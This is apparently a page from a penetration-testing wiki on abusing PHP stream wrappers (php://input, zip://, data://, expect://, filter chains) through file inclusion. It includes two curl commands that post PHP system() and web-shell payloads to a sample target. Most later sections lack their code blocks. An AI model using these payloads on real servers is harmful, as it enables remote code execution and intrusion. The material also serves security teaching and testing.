Page cover
githubEdit

phpPHP Wrappers

chevron-rightphp://input Wrapperhashtag

Allows reading raw POST data. Useful when you can control POST body but not GET parameters.

Send POST request with PHP code in body
curl -X POST --data "<?php system('id'); ?>" "http://target.com/index.php?page=php://input"
More complex payload
curl -X POST --data "<?php system(\$_GET['cmd']); ?>" "http://target.com/index.php?page=php://input&cmd=whoami"
chevron-rightzip:// Wrapperhashtag
circle-info

Remote Code Execution

The zip:// stream wrapper can be used in specific attack scenarios to potentially execute malicious code.

  • First, create the webshell:

  • Second, zip the file:

  • Important to mention that the file extension can be different from .zip, the wrapper will still execute the code inside.

  • Third, upload the file and once is done, use the wrapper:

  • Have in mind that %23 is the URL encoded version of # and is used to reference a file inside the zip

chevron-rightdata:// Wrapperhashtag
circle-info

data:// Wrapper

The data:// wrapper allows you to embed data directly in the URL using data URIs.

Requirements: allow_url_include = On in php.ini

chevron-rightexpect:// Wrapperhashtag
circle-info

expect:// Wrapper

The expect:// wrapper allows you to execute system commands directly (rarely enabled).

Requirements: PECL expect extension installed and allow_url_include = On

chevron-rightphp://filter Chainshashtag
circle-info

Filter Inclusion

circle-info

String Operations

circle-info

Conversion Filters

chevron-rightCustom Filter Chains for RCE (PHP 8.x)hashtag

This technique uses filter chains to achieve RCE without using any wrappers or include statements:

Last updated